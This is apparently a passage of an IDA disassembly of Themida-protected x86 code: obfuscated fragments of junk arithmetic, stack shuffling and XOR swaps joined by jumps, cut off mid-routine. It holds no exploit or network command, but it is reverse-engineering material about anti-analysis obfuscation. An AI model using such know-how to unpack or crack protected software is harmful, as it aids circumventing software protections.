; ---------------------------------------------------------------------------


loc_561AED:				; CODE XREF: Themida_:0056D03Bj
		and	ecx, 64702082h
		shl	ecx, 2
		dec	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	0FEFFFDFDh
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebx
		jmp	loc_564D54
; ---------------------------------------------------------------------------


loc_561B12:				; CODE XREF: Themida_:0056E563j
		mov	edx, esp
		jmp	loc_5730E7
; ---------------------------------------------------------------------------


loc_561B19:				; CODE XREF: Themida_:005644CDj
		sub	eax, 33383249h
		push	4E99h
		mov	[esp], ebp
		mov	ebp, 746E4AABh
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_574104
; ---------------------------------------------------------------------------


loc_561B35:				; CODE XREF: Themida_:0056530Bj
		mov	esi, 721E1F3Dh
		xor	esi, eax
		pop	eax
		xor	[eax], esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561B4E:				; CODE XREF: Themida_:0056D0DDj
		sub	eax, 0FA3790Ch
		add	eax, edx
		add	eax, 0FA3790Ch
		mov	edx, [esp]
		add	esp, 4
		add	eax, 1
		add	eax, 41FB6343h
		sub	eax, 57ADE20Dh
		add	edi, 774D146Ch
		add	edi, 28A672F0h
		add	edi, eax
		jmp	loc_56E0F8
; ---------------------------------------------------------------------------


loc_561B85:				; CODE XREF: Themida_:005654F2j
		pop	edi
		not	eax
		inc	eax
		push	ecx
		jmp	loc_560BE3
; ---------------------------------------------------------------------------


loc_561B8F:				; CODE XREF: Themida_:00573262j
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	eax, cl
		push	ecx
		push	2359h
		mov	[esp], esi
		mov	esi, 739F27A9h
		and	esi, 752C2757h
		shl	esi, 3
		sub	esi, 7DB5EAD0h
		push	ebx
		jmp	loc_5733A2
; ---------------------------------------------------------------------------


loc_561BBC:				; CODE XREF: Themida_:00572284j
		mov	[esp], edi
		mov	edi, 31165E98h
		add	ecx, edi
		jmp	loc_56AEC1
; ---------------------------------------------------------------------------


loc_561BCB:				; CODE XREF: Themida_:005714D4j
		mov	bp, 45AFh
		jmp	loc_56784F
; ---------------------------------------------------------------------------


loc_561BD4:				; CODE XREF: Themida_:0056AD29j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_568D1D
; ---------------------------------------------------------------------------


loc_561BE6:				; CODE XREF: Themida_:0056E761j
		mov	ebx, [esp]
		jmp	loc_55F935
; ---------------------------------------------------------------------------


loc_561BEE:				; CODE XREF: Themida_:0057251Dj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		dec	esi
		dec	esi
		push	5697h
		mov	[esp], ecx
		push	edx
		mov	edx, 360D26E7h
		add	edx, 552E4317h
		shl	edx, 2
		sub	edx, 7A5943F6h
		shr	edx, 4
		jmp	loc_56C576
; ---------------------------------------------------------------------------


loc_561C1F:				; CODE XREF: Themida_:0056959Aj
		mov	ebp, 4
		add	ebx, 2C51293Ah
		sub	ebx, 6B027376h
		add	ebx, ebp
		jmp	loc_56ECFD
; ---------------------------------------------------------------------------


loc_561C37:				; CODE XREF: Themida_:0056F6A4j
		sub	edx, 4
		push	edx
		jmp	loc_566103
; ---------------------------------------------------------------------------


loc_561C40:				; CODE XREF: Themida_:005642DBj
		shl	edx, 1
		push	edx
		jmp	loc_56B7DC
; ---------------------------------------------------------------------------


loc_561C48:				; CODE XREF: Themida_:00568E45j
		push	dword ptr [esp+4]
		jmp	loc_56AAE8
; ---------------------------------------------------------------------------


loc_561C51:				; CODE XREF: Themida_:00570589j
		xchg	eax, [esp]
		pop	esp
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_56D83A
; ---------------------------------------------------------------------------


loc_561C5F:				; CODE XREF: Themida_:0056035Dj
		pop	ebp
		jmp	loc_57449D
; ---------------------------------------------------------------------------


loc_561C65:				; CODE XREF: Themida_:0056FBF7j
		add	edi, 5F2B4C83h
		add	edi, 6CAE08BDh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_560831
; ---------------------------------------------------------------------------


loc_561C7F:				; CODE XREF: Themida_:0056774Bj
		xor	ecx, 4BA36244h
		push	ecx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5643F3
; ---------------------------------------------------------------------------


loc_561C9E:				; CODE XREF: Themida_:0056EA9Aj
		pop	esi
		jmp	loc_566588
; ---------------------------------------------------------------------------


loc_561CA4:				; CODE XREF: Themida_:0056EBBAj
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_5712C8
; ---------------------------------------------------------------------------


loc_561CAE:				; CODE XREF: Themida_:00567ABFj
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 38E70E0Bh
		shr	ebx, 8
		jmp	loc_57252B
; ---------------------------------------------------------------------------


loc_561CC1:				; CODE XREF: Themida_:00574750j
		push	ebp
		mov	ebp, 69F0575Ah
		jmp	loc_572227
; ---------------------------------------------------------------------------


loc_561CCC:				; CODE XREF: Themida_:0055F55Fj
		add	al, 4Ah
		push	ebx
		jmp	loc_570F0B
; ---------------------------------------------------------------------------


loc_561CD4:				; CODE XREF: Themida_:0057175Aj
		mov	ebx, [esp]
		jmp	loc_56D073
; ---------------------------------------------------------------------------


loc_561CDC:				; CODE XREF: Themida_:00565866j
		push	ecx
		mov	ecx, 5D02387Bh
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_569AC1
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	4226h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562275
; ---------------------------------------------------------------------------


loc_561D06:				; CODE XREF: Themida_:00560172j
		pop	edi
		jmp	loc_56ECEA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6844h
		jmp	loc_55F5E5
; ---------------------------------------------------------------------------


loc_561D1A:				; CODE XREF: Themida_:0056C9F0j
		sub	ecx, 3928443Eh
		or	ecx, 49933474h
		push	eax
		mov	eax, 43B2026Dh
		and	eax, 48F12BEAh
		inc	eax
		xor	eax, 18880628h
		inc	eax
		xor	eax, 27E3F3B5h
		xor	ecx, eax
		pop	eax
		jmp	loc_57325A
; ---------------------------------------------------------------------------


loc_561D45:				; CODE XREF: Themida_:0056BE8Cj
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5632D7
; ---------------------------------------------------------------------------


loc_561D55:				; CODE XREF: Themida_:0056EF8Bj
		add	edi, ebp
		pop	ebp
		push	ebx
		jmp	loc_5691E0
; ---------------------------------------------------------------------------


loc_561D5E:				; CODE XREF: Themida_:0056A3C3j
		pop	eax
		push	esi
		jmp	loc_5723FF
; ---------------------------------------------------------------------------


loc_561D65:				; CODE XREF: Themida_:0056EFBEj
		push	dx
		mov	dl, ah
		xchg	bl, dl
		not	bl
		xchg	bl, dl
		mov	ah, dl
		pop	dx
		not	ah
		shl	ah, 7
		jmp	loc_569FC7
; ---------------------------------------------------------------------------


loc_561D7D:				; CODE XREF: Themida_:0056CE8Bj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 21887143h
		push	ecx
		mov	ecx, 26290AAFh
		xor	ecx, 62F05CD8h
		add	ebp, ecx
		pop	ecx
		shr	ebp, 8
		sub	ebp, 6661C3h
		sub	ecx, 25974D07h
		add	ecx, ebp
		add	ecx, 25974D07h
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_573C66
; ---------------------------------------------------------------------------


loc_561DC7:				; CODE XREF: Themida_:0056384Fj
		pop	ebx
		pop	ecx
		jmp	loc_5742FF
; ---------------------------------------------------------------------------


loc_561DCE:				; CODE XREF: Themida_:00562B59j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_566217
; ---------------------------------------------------------------------------


loc_561DD9:				; CODE XREF: Themida_:0056D14Fj
		sub	eax, 1192A8Dh
		shl	eax, 6
		xor	eax, 5772404h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_56F554
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561E07:				; CODE XREF: Themida_:00570836j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]


loc_561E19:				; CODE XREF: Themida_:00568CE0j
		push	5A40h
		jmp	loc_562F77
; ---------------------------------------------------------------------------


loc_561E23:				; CODE XREF: Themida_:00569C73j
		pop	edi
		push	esi
		mov	esi, 192A009Dh
		add	esi, 1D6A3857h
		sub	ebx, 3E9E60DAh
		add	ebx, esi
		add	ebx, 3E9E60DAh
		pop	esi
		sub	edx, ebx
		pop	ebx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561E47:				; CODE XREF: Themida_:005626A9j
		neg	al
		add	al, 0FFh
		jmp	loc_5717FC
; ---------------------------------------------------------------------------


loc_561E50:				; CODE XREF: Themida_:0056A53Dj
		push	esp
		pop	eax
		push	69EAh
		mov	[esp], ecx
		mov	ecx, 73B80F4Bh
		and	ecx, 434236FAh
		add	ecx, 43C03D8Fh
		push	ebp
		jmp	loc_56837F
; ---------------------------------------------------------------------------


loc_561E71:				; CODE XREF: Themida_:005643EEj
		mov	ebp, esp
		push	72E8h
		mov	[esp], esi
		jmp	loc_567370
; ---------------------------------------------------------------------------


loc_561E80:				; CODE XREF: Themida_:0056A80Bj
		xor	ebp, 5822FAFh
		add	edi, 210F76B3h
		jmp	loc_560C63
; ---------------------------------------------------------------------------


loc_561E91:				; CODE XREF: Themida_:00564211j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56BA96
; ---------------------------------------------------------------------------


loc_561EAB:				; CODE XREF: Themida_:00566C59j
		xor	ebp, ebx
		jmp	loc_56FC33
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561EBB:				; CODE XREF: Themida_:0055F82Bj
		mov	edx, 494229Fh
		inc	edx
		dec	edx
		sub	edx, 0D22F09C8h
		mov	ecx, edx
		pop	edx
		xor	ecx, 0D0B545Fh
		push	eax
		mov	eax, 47CC30F9h
		xor	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ecx, 72147699h
		add	eax, 4F415668h
		jmp	loc_560A40
; ---------------------------------------------------------------------------


loc_561EF3:				; CODE XREF: Themida_:00560081j
		add	esp, 4
		jmp	loc_562DCF
; ---------------------------------------------------------------------------


loc_561EFE:				; CODE XREF: Themida_:005744DCj
		pop	ecx
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5635E8
; ---------------------------------------------------------------------------


loc_561F2B:				; CODE XREF: Themida_:0056CC74j
		pop	dword ptr [esp]
		pop	esp
		imul	ecx
		push	1274h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561F40:				; CODE XREF: Themida_:0056D883j
		mov	eax, 0E1534680h
		add	esi, eax
		pop	eax
		xor	edx, esi
		pop	esi
		and	edx, 64A62E1Eh
		push	edi
		mov	edi, 7912156Fh
		neg	edi
		jmp	loc_564F69
; ---------------------------------------------------------------------------


loc_561F5E:				; CODE XREF: Themida_:00565C1Ej
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_569B01
; ---------------------------------------------------------------------------


loc_561F6E:				; CODE XREF: Themida_:00563A07j
		push	1CDDh
		mov	[esp], eax
		mov	eax, 0FF4050Eh
		jmp	loc_55FB0E
; ---------------------------------------------------------------------------


loc_561F80:				; CODE XREF: Themida_:00570407j
		add	ebp, 4
		push	eax
		jmp	loc_56793E
; ---------------------------------------------------------------------------


loc_561F8C:				; CODE XREF: Themida_:00566006j
		pop	ebp
		or	ebp, 24311E1Bh
		inc	ebp
		push	0FBh
		mov	[esp], edi
		push	ebp
		push	edi
		jmp	loc_560DEA
; ---------------------------------------------------------------------------


loc_561FA3:				; CODE XREF: Themida_:0056845Ej
		push	edi
		mov	edi, 49F146D9h
		add	ebx, edi
		pop	edi
		add	ebx, 7D1E14F8h
		jmp	loc_5632F9
; ---------------------------------------------------------------------------


loc_561FB7:				; CODE XREF: Themida_:0056C4ABj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	29EAh
		jmp	loc_56F6D1
; ---------------------------------------------------------------------------


loc_561FD3:				; CODE XREF: Themida_:0056371Aj
		mov	edi, 33D147A6h
		mov	edx, edi
		pop	edi
		xor	edx, esi
		jmp	loc_563B6E
; ---------------------------------------------------------------------------


loc_561FE2:				; CODE XREF: Themida_:00573EE7j
		xor	ebp, 78C24A39h
		xor	ebp, 0C873832Dh
		jmp	loc_571030
; ---------------------------------------------------------------------------


loc_561FF3:				; CODE XREF: Themida_:005609A5j
		push	54C7h
		mov	[esp], edx
		push	eax
		push	2D9072E6h
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 496F61FEh
		push	ebp
		jmp	loc_5738F5
; ---------------------------------------------------------------------------


loc_562012:				; CODE XREF: Themida_:0056E64Fj
		sub	edx, 58330D06h
		jmp	loc_5726F0
; ---------------------------------------------------------------------------


loc_56201D:				; CODE XREF: Themida_:00561343j
		add	al, bh
		add	al, 0FDh
		jmp	loc_562934
; ---------------------------------------------------------------------------


loc_562026:				; CODE XREF: Themida_:0056F960j
		sub	esi, 0ECA27A8h
		sub	esi, 735A0336h
		add	esi, 42421D0Bh
		pop	ebx
		and	esi, 20E21518h
		jmp	loc_56F3EB
; ---------------------------------------------------------------------------


loc_562044:				; CODE XREF: Themida_:005691FFj
		mov	dl, bh
		pop	ebx
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], bl
		jmp	loc_570867
; ---------------------------------------------------------------------------


loc_56205B:				; CODE XREF: Themida_:0056FBBBj
		mov	eax, esp
		push	edi
		mov	edi, 61910C50h
		jmp	loc_566EB9
; ---------------------------------------------------------------------------


loc_562068:				; CODE XREF: Themida_:0056780Cj
		add	ebp, edx
		pop	edx
		jmp	loc_56064F
; ---------------------------------------------------------------------------


loc_562070:				; CODE XREF: Themida_:0056AF31j
		mov	esi, 6DAF686Fh
		jmp	loc_572750
; ---------------------------------------------------------------------------


loc_56207A:				; CODE XREF: Themida_:0056304Ej
		mov	[esp], ebx
		mov	ebx, 22720BFBh
		dec	ebx
		sub	ebx, 16847229h
		xor	ebx, 4B7D62E5h
		push	edx
		mov	edx, 7301360Fh
		jmp	loc_573D83
; ---------------------------------------------------------------------------


loc_56209A:				; CODE XREF: Themida_:005690BAj
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	36C2h
		mov	[esp], edi
		push	4F145C1Eh
		pop	edi
		add	edi, 0F744A444h
		mov	edx, edi
		pop	edi
		push	edi
		mov	edi, 11D95F3Fh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 35444DE8h
		sub	eax, 9630460h
		xchg	eax, ecx
		jmp	loc_56FD61
; ---------------------------------------------------------------------------


loc_5620F5:				; CODE XREF: Themida_:00567F19j
		mov	cl, al
		mov	bh, cl
		pop	ecx
		pop	eax
		pop	cx
		jmp	loc_56CC5D
; ---------------------------------------------------------------------------


loc_562102:				; CODE XREF: Themida_:005629D4j
		sub	eax, edx
		add	eax, 0C287664h
		pop	edx
		push	694Ah
		jmp	loc_56CD7B
; ---------------------------------------------------------------------------


loc_562114:				; CODE XREF: Themida_:0056160Aj
		add	cl, 10h
		sub	cl, 0EFh
		jmp	loc_572E5D
; ---------------------------------------------------------------------------


loc_56211F:				; CODE XREF: Themida_:00560E80j
		mov	ebp, 481F781Fh
		mov	ecx, ebp
		pop	ebp
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56BE86
; ---------------------------------------------------------------------------


loc_562141:				; CODE XREF: Themida_:0055F687j
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		push	eax
		push	ebx
		jmp	loc_567F0F
; ---------------------------------------------------------------------------


loc_562150:				; CODE XREF: Themida_:0056DA8Bj
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5669C5
; ---------------------------------------------------------------------------


loc_562164:				; CODE XREF: Themida_:00574125j
		mov	esi, 12884AD9h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_560C03
; ---------------------------------------------------------------------------


loc_56218C:				; CODE XREF: Themida_:005624D7j
		push	eax
		push	edx
		mov	edx, 734F1CFDh
		xor	[esp+4], edx
		pop	edx
		pop	edx
		jmp	loc_5653C0
; ---------------------------------------------------------------------------


loc_56219E:				; CODE XREF: Themida_:00561209j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5621AC:				; CODE XREF: Themida_:005625FDj
		shl	ch, 4
		xchg	bh, ch
		inc	bh
		xchg	bh, ch
		not	ch
		inc	ch
		push	eax
		push	edx
		mov	dl, 0F1h
		mov	al, 0F8h
		add	al, 6Fh
		add	al, dl
		sub	al, 6Fh
		pop	edx
		add	al, 0E4h
		inc	al
		inc	al
		add	al, 1
		push	ecx
		mov	ch, 0Eh
		dec	ch
		push	edx
		jmp	loc_568257
; ---------------------------------------------------------------------------


loc_5621D9:				; CODE XREF: Themida_:0056344Aj
		mov	esi, 391D3376h
		jmp	loc_571056
; ---------------------------------------------------------------------------


loc_5621E3:				; CODE XREF: Themida_:0056FE5Aj
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5617E3
; ---------------------------------------------------------------------------


loc_5621F3:				; CODE XREF: Themida_:00564A3Ej
		pop	ebp
		add	ecx, ebp
		pop	ebp
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	edi
		mov	edi, 591D6FD6h
		shr	edi, 4
		neg	edi
		xor	edi, 0AF4A113Dh
		add	ecx, edi
		pop	edi
		add	ecx, eax
		sub	ecx, 5524383Eh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_562238:				; CODE XREF: Themida_:0056DE5Dj
		pop	ebx
		push	edi
		mov	ecx, [esp]
		jmp	loc_565FCE
; ---------------------------------------------------------------------------


loc_562242:				; CODE XREF: Themida_:0056FC2Ej
		push	6F8E45DDh
		jmp	loc_56C6AB
; ---------------------------------------------------------------------------


loc_56224C:				; CODE XREF: Themida_:00567B50j
		add	ebp, 1FBC6F90h
		push	ebx
		jmp	loc_56BA32
; ---------------------------------------------------------------------------


loc_562258:				; CODE XREF: Themida_:00570E02j
		pop	esi
		xor	ebx, ecx
		jmp	loc_560C2F
; ---------------------------------------------------------------------------


loc_562260:				; CODE XREF: Themida_:00572DFBj
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_569E38
; ---------------------------------------------------------------------------


loc_562275:				; CODE XREF: Themida_:00561D01j
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_570350
; ---------------------------------------------------------------------------


loc_562281:				; CODE XREF: Themida_:005658F1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	edi, 5FDE565Bh
		jmp	loc_573486
; ---------------------------------------------------------------------------


loc_5622AA:				; CODE XREF: Themida_:0056DA49j
		pop	esp
		push	393Ah
		mov	[esp], edi
		mov	edi, 6A6451Ch
		xor	edi, 1735169Ah
		shr	edi, 3
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56F295
; ---------------------------------------------------------------------------


loc_5622CC:				; CODE XREF: Themida_:0056DCB1j
		add	bl, al
		sub	bl, 0CAh
		add	bl, 76h
		push	cx
		mov	ch, 54h
		add	bl, ch
		pop	cx
		push	77FCh
		mov	[esp], edx
		jmp	loc_561A7D
; ---------------------------------------------------------------------------


loc_5622E9:				; CODE XREF: Themida_:0056FA3Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561990
; ---------------------------------------------------------------------------


loc_5622F7:				; CODE XREF: Themida_:0055FB3Ej
		mov	ch, dl
		xchg	dh, ch
		not	dh
		xchg	dh, ch
		mov	dl, ch
		pop	ecx
		jmp	loc_56FBC0
; ---------------------------------------------------------------------------


loc_562307:				; CODE XREF: Themida_:00568BBEj
		add	dword ptr [esp], 4
		jmp	loc_56C749
; ---------------------------------------------------------------------------


loc_562313:				; CODE XREF: Themida_:00564E36j
		push	ecx
		jmp	loc_56F938
; ---------------------------------------------------------------------------


loc_562319:				; CODE XREF: Themida_:0056A9A5j
		push	6B97h
		jmp	loc_56487D
; ---------------------------------------------------------------------------


loc_562323:				; CODE XREF: Themida_:0056ED9Dj
		xchg	edx, [esp]
		jmp	loc_566F40
; ---------------------------------------------------------------------------


loc_56232B:				; CODE XREF: Themida_:0056D7A1j
		mov	ecx, [esp]
		jmp	loc_5676A6
; ---------------------------------------------------------------------------


loc_562333:				; CODE XREF: Themida_:0056984Fj
		pop	esi
		sub	ebx, 61F340E1h
		and	ebx, 28A82CC6h
		shr	ebx, 3
		sub	ebx, 3C1D0DBFh
		push	ecx
		mov	ecx, 581F3D98h
		shr	ecx, 6
		or	ecx, 712E79E3h
		xor	ecx, 775A2C9Ah
		neg	ecx
		xor	ecx, 3C436905h
		xor	ecx, 27A3553h
		sub	ebx, ecx
		pop	ecx
		sub	esi, ebx
		mov	ebx, [esp]
		jmp	loc_566F7A
; ---------------------------------------------------------------------------


loc_562379:				; CODE XREF: Themida_:0056DEACj
		mov	[esp], ebp
		mov	ebp, 62BA2745h
		jmp	loc_563809
; ---------------------------------------------------------------------------


loc_562386:				; CODE XREF: Themida_:0056C8C0j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ecx
		push	5DFh
		jmp	loc_57029A
; ---------------------------------------------------------------------------


loc_56239C:				; CODE XREF: Themida_:0056C234j
		mov	ebx, esp
		push	3995h
		mov	[esp], eax
		jmp	loc_567433
; ---------------------------------------------------------------------------


loc_5623AB:				; CODE XREF: Themida_:0056A550j
		add	al, 1
		sub	al, bl
		jmp	loc_56BD6C
; ---------------------------------------------------------------------------


loc_5623B4:				; CODE XREF: Themida_:005671AFj
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_572626
; ---------------------------------------------------------------------------


loc_5623C2:				; CODE XREF: Themida_:00568D7Bj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_560B61
; ---------------------------------------------------------------------------


loc_5623CD:				; CODE XREF: Themida_:0056F88Fj
		pop	esp
		push	ecx
		jmp	loc_5691C8
; ---------------------------------------------------------------------------


loc_5623D4:				; CODE XREF: Themida_:0057272Ej
		add	esp, 4
		push	edi
		mov	edi, 1F877055h
		xor	edi, 4CC9526Bh
		or	edi, 402620A2h
		or	edi, 7B893C6Bh
		xor	edi, 304B2689h
		sub	edi, 34030043h
		jmp	loc_56E7BA
; ---------------------------------------------------------------------------


loc_562403:				; CODE XREF: Themida_:0057479Ej
		mov	al, 5Ch
		sub	dh, al
		pop	eax
		jmp	loc_562C51
; ---------------------------------------------------------------------------


loc_56240D:				; CODE XREF: Themida_:00572A01j
		add	edi, ebx
		pop	ebx
		push	492Bh
		jmp	loc_56A0F4
; ---------------------------------------------------------------------------


loc_56241A:				; CODE XREF: Themida_:00571837j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56EFCB
; ---------------------------------------------------------------------------


loc_56242C:				; CODE XREF: Themida_:0056F467j
		push	dword ptr [esp]
		jmp	loc_56DAA3
; ---------------------------------------------------------------------------


loc_562434:				; CODE XREF: Themida_:005655D9j
		not	esi
		dec	esi
		shl	esi, 1
		sub	esi, 80102000h
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		pop	bp
		jmp	loc_5626FE
; ---------------------------------------------------------------------------


loc_56244D:				; CODE XREF: Themida_:00563B83j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebp, 3E680FEFh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_571291
; ---------------------------------------------------------------------------


loc_56246B:				; CODE XREF: Themida_:00567100j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_562474:				; CODE XREF: Themida_:0056F44Dj
		pop	esp
		push	esi
		mov	esi, 481F781Fh
		push	eax
		mov	eax, 6FA9222Eh
		add	dword ptr [esp+8], 7E9A7701h
		jmp	loc_56F76D
; ---------------------------------------------------------------------------


loc_56248E:				; CODE XREF: Themida_:00573814j
		add	ebx, edx
		jmp	loc_574094
; ---------------------------------------------------------------------------


loc_562495:				; CODE XREF: Themida_:005725D9j
		add	esp, 4
		jmp	loc_56ED56
; ---------------------------------------------------------------------------


loc_56249D:				; CODE XREF: Themida_:00566825j
		add	bl, dl
		pop	dx
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 79h
		push	edx
		mov	dl, 0AAh
		shr	dl, 3
		shr	dl, 7
		jmp	loc_56083D
; ---------------------------------------------------------------------------


loc_5624B8:				; CODE XREF: Themida_:0057334Bj
		push	ecx
		mov	ch, 6Eh
		xor	ch, 2Ah
		xor	bl, ch
		pop	ecx
		jmp	loc_55FD20
; ---------------------------------------------------------------------------


loc_5624C6:				; CODE XREF: Themida_:00572CF8j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		mov	eax, 41FB646Ah
		xor	eax, 41FB6476h
		jmp	loc_56218C
; ---------------------------------------------------------------------------


loc_5624DC:				; CODE XREF: Themida_:0056577Bj
		mov	esi, 5DF4639Eh
		jmp	loc_563719
; ---------------------------------------------------------------------------


loc_5624E6:				; CODE XREF: Themida_:0056BB94j
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5649F0
; ---------------------------------------------------------------------------


loc_5624FC:				; CODE XREF: Themida_:0056E812j
		xchg	ebp, ecx
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ecx, ebp
		jmp	loc_5744CB
; ---------------------------------------------------------------------------


loc_56250F:				; CODE XREF: Themida_:0056ABD7j
		xchg	ch, dl
		sub	dl, 0EDh
		mov	bh, 80h
		xor	bh, dl
		jmp	loc_56CA23
; ---------------------------------------------------------------------------


loc_56251D:				; CODE XREF: Themida_:0057114Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		jmp	loc_572E38
; ---------------------------------------------------------------------------


loc_56253D:				; CODE XREF: Themida_:0056492Fj
		add	edi, 4
		add	edi, 4
		jmp	loc_568732
; ---------------------------------------------------------------------------


loc_56254B:				; CODE XREF: Themida_:005607FFj
		mov	[esp], ecx
		jmp	loc_571A3C
; ---------------------------------------------------------------------------


loc_562553:				; CODE XREF: Themida_:00574434j
		mov	esp, [esp]
		push	ebp
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5721DE
; ---------------------------------------------------------------------------


loc_562561:				; CODE XREF: Themida_:0055FC24j
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_565A3D
; ---------------------------------------------------------------------------


loc_562586:				; CODE XREF: Themida_:0056CF67j
		mov	eax, 442729F1h
		inc	eax
		shl	eax, 6
		neg	eax
		push	esi
		jmp	loc_56A382
; ---------------------------------------------------------------------------


loc_562597:				; CODE XREF: Themida_:0056B4F6j
		not	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_573E75
; ---------------------------------------------------------------------------


loc_5625A4:				; CODE XREF: Themida_:00574305j
		pop	ecx
		push	eax
		mov	al, dh
		push	ecx
		mov	cl, al
		mov	bh, cl
		pop	ecx
		pop	eax
		pop	edx
		mov	[edi+38h], bh
		jmp	loc_562F19
; ---------------------------------------------------------------------------


loc_5625B8:				; CODE XREF: Themida_:00563B51j
		pop	edx
		sub	ebx, 52E3B372h
		mov	edx, ebx
